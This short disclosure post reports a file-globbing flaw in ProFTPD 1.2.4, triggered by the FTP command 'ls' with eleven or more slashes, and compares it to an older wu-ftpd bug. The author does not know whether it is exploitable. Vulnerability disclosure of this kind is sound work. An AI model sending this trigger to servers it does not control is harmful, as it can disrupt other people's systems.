SUMMARY
=======
A problem in handling file globbing exists in the current version of
ProFTPD
1.2.4 (but it's fixed in the Candidate version: 1.2.5rc1). This
is very similar to the wu-ftpd bug ("ls ~{") and occurs when you issue
the command: ls /////////// (11 or more '/'). I haven't figured out if
it's exploitable. That's why I post it to you guys. :-)
